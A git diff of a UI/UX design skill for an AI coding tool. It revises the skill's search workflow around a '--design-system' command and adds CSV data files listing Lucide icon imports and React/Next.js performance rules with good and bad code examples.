+- `line-length` - Limit to 65-75 characters per line
+- `font-pairing` - Match heading/body font personalities
+
+### 6. Animation (MEDIUM)
+
+- `duration-timing` - Use 150-300ms for micro-interactions
+- `transform-performance` - Use transform/opacity, not width/height
+- `loading-states` - Skeleton screens or spinners
+
+### 7. Style Selection (MEDIUM)
+
+- `style-match` - Match style to product type
+- `consistency` - Use same style across all pages
+- `no-emoji-icons` - Use SVG icons, not emojis
+
+### 8. Charts & Data (LOW)
+
+- `chart-type` - Match chart type to data type
+- `color-guidance` - Use accessible color palettes
+- `data-table` - Provide table alternative for accessibility
+
+## How to Use
+
+Search specific domains using the CLI tool below.
+
+---
 
 ## Prerequisites
 
@@ -46,34 +130,52 @@ Extract key information from user request:
 - **Industry**: healthcare, fintech, gaming, education, etc.
 - **Stack**: React, Vue, Next.js, or default to `html-tailwind`
 
-### Step 2: Search Relevant Domains
+### Step 2: Generate Design System (REQUIRED)
 
-Use `search.py` multiple times to gather comprehensive information. Search until you have enough context.
+**Always start with `--design-system`** to get comprehensive recommendations with reasoning:
+
+```bash
+python3 .claude/skills/ui-ux-pro-max/scripts/search.py "<product_type> <industry> <keywords>" --design-system [-p "Project Name"]
+```
+
+This command:
+1. Searches 5 domains in parallel (product, style, color, landing, typography)
+2. Applies reasoning rules from `ui-reasoning.csv` to select best matches
+3. Returns complete design system: pattern, style, colors, typography, effects
+4. Includes anti-patterns to avoid
+
+**Example:**
+```bash
+python3 .claude/skills/ui-ux-pro-max/scripts/search.py "beauty spa wellness service" --design-system -p "Serenity Spa"
+```
+
+### Step 3: Supplement with Detailed Searches (as needed)
+
+After getting the design system, use domain searches to get additional details:
 
 ```bash
 python3 .claude/skills/ui-ux-pro-max/scripts/search.py "<keyword>" --domain <domain> [-n <max_results>]
 ```
 
-**Recommended search order:**
+**When to use detailed searches:**
 
-1. **Product** - Get style recommendations for product type
+| Need | Domain | Example |
-2. **Style** - Get detailed style guide (colors, effects, frameworks)
+|------|--------|---------|
-3. **Typography** - Get font pairings with Google Fonts imports
+| More style options | `style` | `--domain style "glassmorphism dark"` |
-4. **Color** - Get color palette (Primary, Secondary, CTA, Background, Text, Border)
+| Chart recommendations | `chart` | `--domain chart "real-time dashboard"` |
-5. **Landing** - Get page structure (if landing page)
+| UX best practices | `ux` | `--domain ux "animation accessibility"` |
-6. **Chart** - Get chart recommendations (if dashboard/analytics)
+| Alternative fonts | `typography` | `--domain typography "elegant luxury"` |
-7. **UX** - Get best practices and anti-patterns
+| Landing structure | `landing` | `--domain landing "hero social-proof"` |
-8. **Stack** - Get stack-specific guidelines (default: html-tailwind)
 
-### Step 3: Stack Guidelines (Default: html-tailwind)
+### Step 4: Stack Guidelines (Default: html-tailwind)
 
-If user doesn't specify a stack, **default to `html-tailwind`**.
+Get implementation-specific best practices. If user doesn't specify a stack, **default to `html-tailwind`**.
 
 ```bash
 python3 .claude/skills/ui-ux-pro-max/scripts/search.py "<keyword>" --stack html-tailwind
 ```
 
-Available stacks: `html-tailwind`, `react`, `nextjs`, `vue`, `svelte`, `swiftui`, `react-native`, `flutter`
+Available stacks: `html-tailwind`, `react`, `nextjs`, `vue`, `svelte`, `swiftui`, `react-native`, `flutter`, `shadcn`
 
 ---
 
@@ -90,6 +192,8 @@ Available stacks: `html-tailwind`, `react`, `nextjs`, `vue`, `svelte`, `swiftui`
 | `landing` | Page structure, CTA strategies | hero, hero-centric, testimonial, pricing, social-proof |
 | `chart` | Chart types, library recommendations | trend, comparison, timeline, funnel, pie |
 | `ux` | Best practices, anti-patterns | animation, accessibility, z-index, loading |
+| `react` | React/Next.js performance | waterfall, bundle, suspense, memo, rerender, cache |
+| `web` | Web interface guidelines | aria, focus, keyboard, semantic, virtualize |
 | `prompt` | AI prompts, CSS keywords | (style name) |
 
 ### Available Stacks
@@ -104,6 +208,7 @@ Available stacks: `html-tailwind`, `react`, `nextjs`, `vue`, `svelte`, `swiftui`
 | `swiftui` | Views, State, Navigation, Animation |
 | `react-native` | Components, Navigation, Lists |
 | `flutter` | Widgets, State, Layout, Theming |
+| `shadcn` | shadcn/ui components, theming, forms, patterns |
 
 ---
 
@@ -111,33 +216,51 @@ Available stacks: `html-tailwind`, `react`, `nextjs`, `vue`, `svelte`, `swiftui`
 
 **User request:** "Làm landing page cho dịch vụ chăm sóc da chuyên nghiệp"
 
-**AI should:**
+### Step 1: Analyze Requirements
+- Product type: Beauty/Spa service
+- Style keywords: elegant, professional, soft
+- Industry: Beauty/Wellness
+- Stack: html-tailwind (default)
+
+### Step 2: Generate Design System (REQUIRED)
 
 ```bash
-# 1. Search product type
+python3 .claude/skills/ui-ux-pro-max/scripts/search.py "beauty spa wellness service elegant" --design-system -p "Serenity Spa"
-python3 .claude/skills/ui-ux-pro-max/scripts/search.py "beauty spa wellness service" --domain product
-
-# 2. Search style (based on industry: beauty, elegant)
-python3 .claude/skills/ui-ux-pro-max/scripts/search.py "elegant minimal soft" --domain style
-
-# 3. Search typography
-python3 .claude/skills/ui-ux-pro-max/scripts/search.py "elegant luxury" --domain typography
-
-# 4. Search color palette
-python3 .claude/skills/ui-ux-pro-max/scripts/search.py "beauty spa wellness" --domain color
-
-# 5. Search landing page structure
-python3 .claude/skills/ui-ux-pro-max/scripts/search.py "hero-centric social-proof" --domain landing
-
-# 6. Search UX guidelines
-python3 .claude/skills/ui-ux-pro-max/scripts/search.py "animation" --domain ux
-python3 .claude/skills/ui-ux-pro-max/scripts/search.py "accessibility" --domain ux
-
-# 7. Search stack guidelines (default: html-tailwind)
-python3 .claude/skills/ui-ux-pro-max/scripts/search.py "layout responsive" --stack html-tailwind
 ```
 
-**Then:** Synthesize all search results and implement the design.
+**Output:** Complete design system with pattern, style, colors, typography, effects, and anti-patterns.
+
+### Step 3: Supplement with Detailed Searches (as needed)
+
+```bash
+# Get UX guidelines for animation and accessibility
+python3 .claude/skills/ui-ux-pro-max/scripts/search.py "animation accessibility" --domain ux
+
+# Get alternative typography options if needed
+python3 .claude/skills/ui-ux-pro-max/scripts/search.py "elegant luxury serif" --domain typography
+```
+
+### Step 4: Stack Guidelines
+
+```bash
+python3 .claude/skills/ui-ux-pro-max/scripts/search.py "layout responsive form" --stack html-tailwind
+```
+
+**Then:** Synthesize design system + detailed searches and implement the design.
+
+---
+
+## Output Formats
+
+The `--design-system` flag supports two output formats:
+
+```bash
+# ASCII box (default) - best for terminal display
+python3 .claude/skills/ui-ux-pro-max/scripts/search.py "fintech crypto" --design-system
+
+# Markdown - best for documentation
+python3 .claude/skills/ui-ux-pro-max/scripts/search.py "fintech crypto" --design-system -f markdown
+```
 
 ---
 
@@ -218,7 +341,7 @@ Before delivering UI code, verify these items:
 ### Layout
 - [ ] Floating elements have proper spacing from edges
 - [ ] No content hidden behind fixed navbars
-- [ ] Responsive at 320px, 768px, 1024px, 1440px
+- [ ] Responsive at 375px, 768px, 1024px, 1440px
 - [ ] No horizontal scroll on mobile
 
 ### Accessibility

skills/ui-ux-pro-max/data/icons.csv

@@ -0,0 +1,101 @@
+STT,Category,Icon Name,Keywords,Library,Import Code,Usage,Best For,Style
+1,Navigation,menu,hamburger menu navigation toggle bars,Lucide,import { Menu } from 'lucide-react',<Menu />,Mobile navigation drawer toggle sidebar,Outline
+2,Navigation,arrow-left,back previous return navigate,Lucide,import { ArrowLeft } from 'lucide-react',<ArrowLeft />,Back button breadcrumb navigation,Outline
+3,Navigation,arrow-right,next forward continue navigate,Lucide,import { ArrowRight } from 'lucide-react',<ArrowRight />,Forward button next step CTA,Outline
+4,Navigation,chevron-down,dropdown expand accordion select,Lucide,import { ChevronDown } from 'lucide-react',<ChevronDown />,Dropdown toggle accordion header,Outline
+5,Navigation,chevron-up,collapse close accordion minimize,Lucide,import { ChevronUp } from 'lucide-react',<ChevronUp />,Accordion collapse minimize,Outline
+6,Navigation,home,homepage main dashboard start,Lucide,import { Home } from 'lucide-react',<Home />,Home navigation main page,Outline
+7,Navigation,x,close cancel dismiss remove exit,Lucide,import { X } from 'lucide-react',<X />,Modal close dismiss button,Outline
+8,Navigation,external-link,open new tab external link,Lucide,import { ExternalLink } from 'lucide-react',<ExternalLink />,External link indicator,Outline
+9,Action,plus,add create new insert,Lucide,import { Plus } from 'lucide-react',<Plus />,Add button create new item,Outline
+10,Action,minus,remove subtract decrease delete,Lucide,import { Minus } from 'lucide-react',<Minus />,Remove item quantity decrease,Outline
+11,Action,trash-2,delete remove discard bin,Lucide,import { Trash2 } from 'lucide-react',<Trash2 />,Delete action destructive,Outline
+12,Action,edit,pencil modify change update,Lucide,import { Edit } from 'lucide-react',<Edit />,Edit button modify content,Outline
+13,Action,save,disk store persist save,Lucide,import { Save } from 'lucide-react',<Save />,Save button persist changes,Outline
+14,Action,download,export save file download,Lucide,import { Download } from 'lucide-react',<Download />,Download file export,Outline
+15,Action,upload,import file attach upload,Lucide,import { Upload } from 'lucide-react',<Upload />,Upload file import,Outline
+16,Action,copy,duplicate clipboard paste,Lucide,import { Copy } from 'lucide-react',<Copy />,Copy to clipboard,Outline
+17,Action,share,social distribute send,Lucide,import { Share } from 'lucide-react',<Share />,Share button social,Outline
+18,Action,search,find lookup filter query,Lucide,import { Search } from 'lucide-react',<Search />,Search input bar,Outline
+19,Action,filter,sort refine narrow options,Lucide,import { Filter } from 'lucide-react',<Filter />,Filter dropdown sort,Outline
+20,Action,settings,gear cog preferences config,Lucide,import { Settings } from 'lucide-react',<Settings />,Settings page configuration,Outline
+21,Status,check,success done complete verified,Lucide,import { Check } from 'lucide-react',<Check />,Success state checkmark,Outline
+22,Status,check-circle,success verified approved complete,Lucide,import { CheckCircle } from 'lucide-react',<CheckCircle />,Success badge verified,Outline
+23,Status,x-circle,error failed cancel rejected,Lucide,import { XCircle } from 'lucide-react',<XCircle />,Error state failed,Outline
+24,Status,alert-triangle,warning caution attention danger,Lucide,import { AlertTriangle } from 'lucide-react',<AlertTriangle />,Warning message caution,Outline
+25,Status,alert-circle,info notice information help,Lucide,import { AlertCircle } from 'lucide-react',<AlertCircle />,Info notice alert,Outline
+26,Status,info,information help tooltip details,Lucide,import { Info } from 'lucide-react',<Info />,Information tooltip help,Outline
+27,Status,loader,loading spinner processing wait,Lucide,import { Loader } from 'lucide-react',<Loader className="animate-spin" />,Loading state spinner,Outline
+28,Status,clock,time schedule pending wait,Lucide,import { Clock } from 'lucide-react',<Clock />,Pending time schedule,Outline
+29,Communication,mail,email message inbox letter,Lucide,import { Mail } from 'lucide-react',<Mail />,Email contact inbox,Outline
+30,Communication,message-circle,chat comment bubble conversation,Lucide,import { MessageCircle } from 'lucide-react',<MessageCircle />,Chat comment message,Outline
+31,Communication,phone,call mobile telephone contact,Lucide,import { Phone } from 'lucide-react',<Phone />,Phone contact call,Outline
+32,Communication,send,submit dispatch message airplane,Lucide,import { Send } from 'lucide-react',<Send />,Send message submit,Outline
+33,Communication,bell,notification alert ring reminder,Lucide,import { Bell } from 'lucide-react',<Bell />,Notification bell alert,Outline
+34,User,user,profile account person avatar,Lucide,import { User } from 'lucide-react',<User />,User profile account,Outline
+35,User,users,team group people members,Lucide,import { Users } from 'lucide-react',<Users />,Team group members,Outline
+36,User,user-plus,add invite new member,Lucide,import { UserPlus } from 'lucide-react',<UserPlus />,Add user invite,Outline
+37,User,log-in,signin authenticate enter,Lucide,import { LogIn } from 'lucide-react',<LogIn />,Login signin,Outline
+38,User,log-out,signout exit leave logout,Lucide,import { LogOut } from 'lucide-react',<LogOut />,Logout signout,Outline
+39,Media,image,photo picture gallery thumbnail,Lucide,import { Image } from 'lucide-react',<Image />,Image photo gallery,Outline
+40,Media,video,movie film play record,Lucide,import { Video } from 'lucide-react',<Video />,Video player media,Outline
+41,Media,play,start video audio media,Lucide,import { Play } from 'lucide-react',<Play />,Play button video audio,Outline
+42,Media,pause,stop halt video audio,Lucide,import { Pause } from 'lucide-react',<Pause />,Pause button media,Outline
+43,Media,volume-2,sound audio speaker music,Lucide,import { Volume2 } from 'lucide-react',<Volume2 />,Volume audio sound,Outline
+44,Media,mic,microphone record voice audio,Lucide,import { Mic } from 'lucide-react',<Mic />,Microphone voice record,Outline
+45,Media,camera,photo capture snapshot picture,Lucide,import { Camera } from 'lucide-react',<Camera />,Camera photo capture,Outline
+46,Commerce,shopping-cart,cart checkout basket buy,Lucide,import { ShoppingCart } from 'lucide-react',<ShoppingCart />,Shopping cart e-commerce,Outline
+47,Commerce,shopping-bag,purchase buy store bag,Lucide,import { ShoppingBag } from 'lucide-react',<ShoppingBag />,Shopping bag purchase,Outline
+48,Commerce,credit-card,payment card checkout stripe,Lucide,import { CreditCard } from 'lucide-react',<CreditCard />,Payment credit card,Outline
+49,Commerce,dollar-sign,money price currency cost,Lucide,import { DollarSign } from 'lucide-react',<DollarSign />,Price money currency,Outline
+50,Commerce,tag,label price discount sale,Lucide,import { Tag } from 'lucide-react',<Tag />,Price tag label,Outline
+51,Commerce,gift,present reward bonus offer,Lucide,import { Gift } from 'lucide-react',<Gift />,Gift reward offer,Outline
+52,Commerce,percent,discount sale offer promo,Lucide,import { Percent } from 'lucide-react',<Percent />,Discount percentage sale,Outline
+53,Data,bar-chart,analytics statistics graph metrics,Lucide,import { BarChart } from 'lucide-react',<BarChart />,Bar chart analytics,Outline
+54,Data,pie-chart,statistics distribution breakdown,Lucide,import { PieChart } from 'lucide-react',<PieChart />,Pie chart distribution,Outline
+55,Data,trending-up,growth increase positive trend,Lucide,import { TrendingUp } from 'lucide-react',<TrendingUp />,Growth trend positive,Outline
+56,Data,trending-down,decline decrease negative trend,Lucide,import { TrendingDown } from 'lucide-react',<TrendingDown />,Decline trend negative,Outline
+57,Data,activity,pulse heartbeat monitor live,Lucide,import { Activity } from 'lucide-react',<Activity />,Activity monitor pulse,Outline
+58,Data,database,storage server data backend,Lucide,import { Database } from 'lucide-react',<Database />,Database storage,Outline
+59,Files,file,document page paper doc,Lucide,import { File } from 'lucide-react',<File />,File document,Outline
+60,Files,file-text,document text page article,Lucide,import { FileText } from 'lucide-react',<FileText />,Text document article,Outline
+61,Files,folder,directory organize group files,Lucide,import { Folder } from 'lucide-react',<Folder />,Folder directory,Outline
+62,Files,folder-open,expanded browse files view,Lucide,import { FolderOpen } from 'lucide-react',<FolderOpen />,Open folder browse,Outline
+63,Files,paperclip,attachment attach file link,Lucide,import { Paperclip } from 'lucide-react',<Paperclip />,Attachment paperclip,Outline
+64,Files,link,url hyperlink chain connect,Lucide,import { Link } from 'lucide-react',<Link />,Link URL hyperlink,Outline
+65,Files,clipboard,paste copy buffer notes,Lucide,import { Clipboard } from 'lucide-react',<Clipboard />,Clipboard paste,Outline
+66,Layout,grid,tiles gallery layout dashboard,Lucide,import { Grid } from 'lucide-react',<Grid />,Grid layout gallery,Outline
+67,Layout,list,rows table lines items,Lucide,import { List } from 'lucide-react',<List />,List view rows,Outline
+68,Layout,columns,layout split dual sidebar,Lucide,import { Columns } from 'lucide-react',<Columns />,Column layout split,Outline
+69,Layout,maximize,fullscreen expand enlarge zoom,Lucide,import { Maximize } from 'lucide-react',<Maximize />,Fullscreen maximize,Outline
+70,Layout,minimize,reduce shrink collapse exit,Lucide,import { Minimize } from 'lucide-react',<Minimize />,Minimize reduce,Outline
+71,Layout,sidebar,panel drawer navigation menu,Lucide,import { Sidebar } from 'lucide-react',<Sidebar />,Sidebar panel,Outline
+72,Social,heart,like love favorite wishlist,Lucide,import { Heart } from 'lucide-react',<Heart />,Like favorite love,Outline
+73,Social,star,rating review favorite bookmark,Lucide,import { Star } from 'lucide-react',<Star />,Star rating favorite,Outline
+74,Social,thumbs-up,like approve agree positive,Lucide,import { ThumbsUp } from 'lucide-react',<ThumbsUp />,Like approve thumb,Outline
+75,Social,thumbs-down,dislike disapprove disagree negative,Lucide,import { ThumbsDown } from 'lucide-react',<ThumbsDown />,Dislike disapprove,Outline
+76,Social,bookmark,save later favorite mark,Lucide,import { Bookmark } from 'lucide-react',<Bookmark />,Bookmark save,Outline
+77,Social,flag,report mark important highlight,Lucide,import { Flag } from 'lucide-react',<Flag />,Flag report,Outline
+78,Device,smartphone,mobile phone device touch,Lucide,import { Smartphone } from 'lucide-react',<Smartphone />,Mobile smartphone,Outline
+79,Device,tablet,ipad device touch screen,Lucide,import { Tablet } from 'lucide-react',<Tablet />,Tablet device,Outline
+80,Device,monitor,desktop screen computer display,Lucide,import { Monitor } from 'lucide-react',<Monitor />,Desktop monitor,Outline
+81,Device,laptop,notebook computer portable device,Lucide,import { Laptop } from 'lucide-react',<Laptop />,Laptop computer,Outline
+82,Device,printer,print document output paper,Lucide,import { Printer } from 'lucide-react',<Printer />,Printer print,Outline
+83,Security,lock,secure password protected private,Lucide,import { Lock } from 'lucide-react',<Lock />,Lock secure,Outline
+84,Security,unlock,open access unsecure public,Lucide,import { Unlock } from 'lucide-react',<Unlock />,Unlock open,Outline
+85,Security,shield,protection security safe guard,Lucide,import { Shield } from 'lucide-react',<Shield />,Shield protection,Outline
+86,Security,key,password access unlock login,Lucide,import { Key } from 'lucide-react',<Key />,Key password,Outline
+87,Security,eye,view show visible password,Lucide,import { Eye } from 'lucide-react',<Eye />,Show password view,Outline
+88,Security,eye-off,hide invisible password hidden,Lucide,import { EyeOff } from 'lucide-react',<EyeOff />,Hide password,Outline
+89,Location,map-pin,location marker place address,Lucide,import { MapPin } from 'lucide-react',<MapPin />,Location pin marker,Outline
+90,Location,map,directions navigate geography location,Lucide,import { Map } from 'lucide-react',<Map />,Map directions,Outline
+91,Location,navigation,compass direction pointer arrow,Lucide,import { Navigation } from 'lucide-react',<Navigation />,Navigation compass,Outline
+92,Location,globe,world international global web,Lucide,import { Globe } from 'lucide-react',<Globe />,Globe world,Outline
+93,Time,calendar,date schedule event appointment,Lucide,import { Calendar } from 'lucide-react',<Calendar />,Calendar date,Outline
+94,Time,refresh-cw,reload sync update refresh,Lucide,import { RefreshCw } from 'lucide-react',<RefreshCw />,Refresh reload,Outline
+95,Time,rotate-ccw,undo back revert history,Lucide,import { RotateCcw } from 'lucide-react',<RotateCcw />,Undo revert,Outline
+96,Time,rotate-cw,redo forward repeat history,Lucide,import { RotateCw } from 'lucide-react',<RotateCw />,Redo forward,Outline
+97,Development,code,develop programming syntax html,Lucide,import { Code } from 'lucide-react',<Code />,Code development,Outline
+98,Development,terminal,console cli command shell,Lucide,import { Terminal } from 'lucide-react',<Terminal />,Terminal console,Outline
+99,Development,git-branch,version control branch merge,Lucide,import { GitBranch } from 'lucide-react',<GitBranch />,Git branch,Outline
+100,Development,github,repository code open source,Lucide,import { Github } from 'lucide-react',<Github />,GitHub repository,Outline

skills/ui-ux-pro-max/data/react-performance.csv

@@ -0,0 +1,45 @@
+No,Category,Issue,Keywords,Platform,Description,Do,Don't,Code Example Good,Code Example Bad,Severity
+1,Async Waterfall,Defer Await,async await defer branch,React/Next.js,Move await into branches where actually used to avoid blocking unused code paths,Move await operations into branches where they're needed,Await at top of function blocking all branches,"if (skip) return { skipped: true }; const data = await fetch()","const data = await fetch(); if (skip) return { skipped: true }",Critical
+2,Async Waterfall,Promise.all Parallel,promise all parallel concurrent,React/Next.js,Execute independent async operations concurrently using Promise.all(),Use Promise.all() for independent operations,Sequential await for independent operations,"const [user, posts] = await Promise.all([fetchUser(), fetchPosts()])","const user = await fetchUser(); const posts = await fetchPosts()",Critical
+3,Async Waterfall,Dependency Parallelization,better-all dependency parallel,React/Next.js,Use better-all for operations with partial dependencies to maximize parallelism,Use better-all to start each task at earliest possible moment,Wait for unrelated data before starting dependent fetch,"await all({ user() {}, config() {}, profile() { return fetch((await this.$.user).id) } })","const [user, config] = await Promise.all([...]); const profile = await fetchProfile(user.id)",Critical
+4,Async Waterfall,API Route Optimization,api route waterfall promise,React/Next.js,In API routes start independent operations immediately even if not awaited yet,Start promises early and await late,Sequential awaits in API handlers,"const sessionP = auth(); const configP = fetchConfig(); const session = await sessionP","const session = await auth(); const config = await fetchConfig()",Critical
+5,Async Waterfall,Suspense Boundaries,suspense streaming boundary,React/Next.js,Use Suspense to show wrapper UI faster while data loads,Wrap async components in Suspense boundaries,Await data blocking entire page render,"<Suspense fallback={<Skeleton />}><DataDisplay /></Suspense>","const data = await fetchData(); return <DataDisplay data={data} />",High
+6,Bundle Size,Barrel Imports,barrel import direct path,React/Next.js,Import directly from source files instead of barrel files to avoid loading unused modules,Import directly from source path,Import from barrel/index files,"import Check from 'lucide-react/dist/esm/icons/check'","import { Check } from 'lucide-react'",Critical
+7,Bundle Size,Dynamic Imports,dynamic import lazy next,React/Next.js,Use next/dynamic to lazy-load large components not needed on initial render,Use dynamic() for heavy components,Import heavy components at top level,"const Monaco = dynamic(() => import('./monaco'), { ssr: false })","import { MonacoEditor } from './monaco-editor'",Critical
+8,Bundle Size,Defer Third Party,analytics defer third-party,React/Next.js,Load analytics and logging after hydration since they don't block interaction,Load non-critical scripts after hydration,Include analytics in main bundle,"const Analytics = dynamic(() => import('@vercel/analytics'), { ssr: false })","import { Analytics } from '@vercel/analytics/react'",Medium
+9,Bundle Size,Conditional Loading,conditional module lazy,React/Next.js,Load large data or modules only when a feature is activated,Dynamic import when feature enabled,Import large modules unconditionally,"useEffect(() => { if (enabled) import('./heavy.js') }, [enabled])","import { heavyData } from './heavy.js'",High
+10,Bundle Size,Preload Intent,preload hover focus intent,React/Next.js,Preload heavy bundles on hover/focus before they're needed,Preload on user intent signals,Load only on click,"onMouseEnter={() => import('./editor')}","onClick={() => import('./editor')}",Medium
+11,Server,React.cache Dedup,react cache deduplicate request,React/Next.js,Use React.cache() for server-side request deduplication within single request,Wrap data fetchers with cache(),Fetch same data multiple times in tree,"export const getUser = cache(async () => await db.user.find())","export async function getUser() { return await db.user.find() }",Medium
+12,Server,LRU Cache Cross-Request,lru cache cross request,React/Next.js,Use LRU cache for data shared across sequential requests,Use LRU for cross-request caching,Refetch same data on every request,"const cache = new LRUCache({ max: 1000, ttl: 5*60*1000 })","Always fetch from database",High
+13,Server,Minimize Serialization,serialization rsc boundary,React/Next.js,Only pass fields that client actually uses across RSC boundaries,Pass only needed fields to client components,Pass entire objects to client,"<Profile name={user.name} />","<Profile user={user} /> // 50 fields serialized",High
+14,Server,Parallel Fetching,parallel fetch component composition,React/Next.js,Restructure components to parallelize data fetching in RSC,Use component composition for parallel fetches,Sequential fetches in parent component,"<Header /><Sidebar /> // both fetch in parallel","const header = await fetchHeader(); return <><div>{header}</div><Sidebar /></>",Critical
+15,Server,After Non-blocking,after non-blocking logging,React/Next.js,Use Next.js after() to schedule work after response is sent,Use after() for logging/analytics,Block response for non-critical operations,"after(async () => { await logAction() }); return Response.json(data)","await logAction(); return Response.json(data)",Medium
+16,Client,SWR Deduplication,swr dedup cache revalidate,React/Next.js,Use SWR for automatic request deduplication and caching,Use useSWR for client data fetching,Manual fetch in useEffect,"const { data } = useSWR('/api/users', fetcher)","useEffect(() => { fetch('/api/users').then(setUsers) }, [])",Medium-High
+17,Client,Event Listener Dedup,event listener deduplicate global,React/Next.js,Share global event listeners across component instances,Use useSWRSubscription for shared listeners,Register listener per component instance,"useSWRSubscription('global-keydown', () => { window.addEventListener... })","useEffect(() => { window.addEventListener('keydown', handler) }, [])",Low
+18,Rerender,Defer State Reads,state read callback subscription,React/Next.js,Don't subscribe to state only used in callbacks,Read state on-demand in callbacks,Subscribe to state used only in handlers,"const handleClick = () => { const params = new URLSearchParams(location.search) }","const params = useSearchParams(); const handleClick = () => { params.get('ref') }",Medium
+19,Rerender,Memoized Components,memo extract expensive,React/Next.js,Extract expensive work into memoized components for early returns,Extract to memo() components,Compute expensive values before early return,"const UserAvatar = memo(({ user }) => ...); if (loading) return <Skeleton />","const avatar = useMemo(() => compute(user)); if (loading) return <Skeleton />",Medium
+20,Rerender,Narrow Dependencies,effect dependency primitive,React/Next.js,Specify primitive dependencies instead of objects in effects,Use primitive values in dependency arrays,Use object references as dependencies,"useEffect(() => { console.log(user.id) }, [user.id])","useEffect(() => { console.log(user.id) }, [user])",Low
+21,Rerender,Derived State,derived boolean subscription,React/Next.js,Subscribe to derived booleans instead of continuous values,Use derived boolean state,Subscribe to continuous values,"const isMobile = useMediaQuery('(max-width: 767px)')","const width = useWindowWidth(); const isMobile = width < 768",Medium
+22,Rerender,Functional setState,functional setstate callback,React/Next.js,Use functional setState updates for stable callbacks and no stale closures,Use functional form: setState(curr => ...),Reference state directly in setState,"setItems(curr => [...curr, newItem])","setItems([...items, newItem]) // items in deps",Medium
+23,Rerender,Lazy State Init,usestate lazy initialization,React/Next.js,Pass function to useState for expensive initial values,Use function form for expensive init,Compute expensive value directly,"useState(() => buildSearchIndex(items))","useState(buildSearchIndex(items)) // runs every render",Medium
+24,Rerender,Transitions,starttransition non-urgent,React/Next.js,Mark frequent non-urgent state updates as transitions,Use startTransition for non-urgent updates,Block UI on every state change,"startTransition(() => setScrollY(window.scrollY))","setScrollY(window.scrollY) // blocks on every scroll",Medium
+25,Rendering,SVG Animation Wrapper,svg animation wrapper div,React/Next.js,Wrap SVG in div and animate wrapper for hardware acceleration,Animate div wrapper around SVG,Animate SVG element directly,"<div class='animate-spin'><svg>...</svg></div>","<svg class='animate-spin'>...</svg>",Low
+26,Rendering,Content Visibility,content-visibility auto,React/Next.js,Apply content-visibility: auto to defer off-screen rendering,Use content-visibility for long lists,Render all list items immediately,".item { content-visibility: auto; contain-intrinsic-size: 0 80px }","Render 1000 items without optimization",High
+27,Rendering,Hoist Static JSX,hoist static jsx element,React/Next.js,Extract static JSX outside components to avoid re-creation,Hoist static elements to module scope,Create static elements inside components,"const skeleton = <div class='animate-pulse' />; function C() { return skeleton }","function C() { return <div class='animate-pulse' /> }",Low
+28,Rendering,Hydration No Flicker,hydration mismatch flicker,React/Next.js,Use inline script to set client-only data before hydration,Inject sync script for client-only values,Use useEffect causing flash,"<script dangerouslySetInnerHTML={{ __html: 'el.className = localStorage.theme' }} />","useEffect(() => setTheme(localStorage.theme), []) // flickers",Medium
+29,Rendering,Conditional Render,conditional render ternary,React/Next.js,Use ternary instead of && when condition can be 0 or NaN,Use explicit ternary for conditionals,Use && with potentially falsy numbers,"{count > 0 ? <Badge>{count}</Badge> : null}","{count && <Badge>{count}</Badge>} // renders '0'",Low
+30,Rendering,Activity Component,activity show hide preserve,React/Next.js,Use Activity component to preserve state/DOM for toggled components,Use Activity for expensive toggle components,Unmount/remount on visibility toggle,"<Activity mode={isOpen ? 'visible' : 'hidden'}><Menu /></Activity>","{isOpen && <Menu />} // loses state",Medium
+31,JS Perf,Batch DOM CSS,batch dom css reflow,React/Next.js,Group CSS changes via classes or cssText to minimize reflows,Use class toggle or cssText,Change styles one property at a time,"element.classList.add('highlighted')","el.style.width='100px'; el.style.height='200px'",Medium
+32,JS Perf,Index Map Lookup,map index lookup find,React/Next.js,Build Map for repeated lookups instead of multiple .find() calls,Build index Map for O(1) lookups,Use .find() in loops,"const byId = new Map(users.map(u => [u.id, u])); byId.get(id)","users.find(u => u.id === order.userId) // O(n) each time",Low-Medium
+33,JS Perf,Cache Property Access,cache property loop,React/Next.js,Cache object property lookups in hot paths,Cache values before loops,Access nested properties in loops,"const val = obj.config.settings.value; for (...) process(val)","for (...) process(obj.config.settings.value)",Low-Medium
+34,JS Perf,Cache Function Results,memoize cache function,React/Next.js,Use module-level Map to cache repeated function results,Use Map cache for repeated calls,Recompute same values repeatedly,"const cache = new Map(); if (cache.has(x)) return cache.get(x)","slugify(name) // called 100 times same input",Medium
+35,JS Perf,Cache Storage API,localstorage cache read,React/Next.js,Cache localStorage/sessionStorage reads in memory,Cache storage reads in Map,Read storage on every call,"if (!cache.has(key)) cache.set(key, localStorage.getItem(key))","localStorage.getItem('theme') // every call",Low-Medium
+36,JS Perf,Combine Iterations,combine filter map loop,React/Next.js,Combine multiple filter/map into single loop,Single loop for multiple categorizations,Chain multiple filter() calls,"for (u of users) { if (u.isAdmin) admins.push(u); if (u.isTester) testers.push(u) }","users.filter(admin); users.filter(tester); users.filter(inactive)",Low-Medium
+37,JS Perf,Length Check First,length check array compare,React/Next.js,Check array lengths before expensive comparisons,Early return if lengths differ,Always run expensive comparison,"if (a.length !== b.length) return true; // then compare","a.sort().join() !== b.sort().join() // even when lengths differ",Medium-High
+38,JS Perf,Early Return,early return exit function,React/Next.js,Return early when result is determined to skip processing,Return immediately on first error,Process all items then check errors,"for (u of users) { if (!u.email) return { error: 'Email required' } }","let hasError; for (...) { if (!email) hasError=true }; if (hasError)...",Low-Medium
+39,JS Perf,Hoist RegExp,regexp hoist module,React/Next.js,Don't create RegExp inside render - hoist or memoize,Hoist RegExp to module scope,Create RegExp every render,"const EMAIL_RE = /^[^@]+@[^@]+$/; function validate() { EMAIL_RE.test(x) }","function C() { const re = new RegExp(pattern); re.test(x) }",Low-Medium
+40,JS Perf,Loop Min Max,loop min max sort,React/Next.js,Use loop for min/max instead of sort - O(n) vs O(n log n),Single pass loop for min/max,Sort array to find min/max,"let max = arr[0]; for (x of arr) if (x > max) max = x","arr.sort((a,b) => b-a)[0] // O(n log n)",Low
+41,JS Perf,Set Map Lookups,set map includes has,React/Next.js,Use Set/Map for O(1) lookups instead of array.includes(),Convert to Set for membership checks,Use .includes() for repeated checks,"const allowed = new Set(['a','b']); allowed.has(id)","const allowed = ['a','b']; allowed.includes(id)",Low-Medium
+42,JS Perf,toSorted Immutable,tosorted sort immutable,React/Next.js,Use toSorted() instead of sort() to avoid mutating arrays,Use toSorted() for immutability,Mutate arrays with sort(),"users.toSorted((a,b) => a.name.localeCompare(b.name))","users.sort((a,b) => a.name.localeCompare(b.name)) // mutates",Medium-High
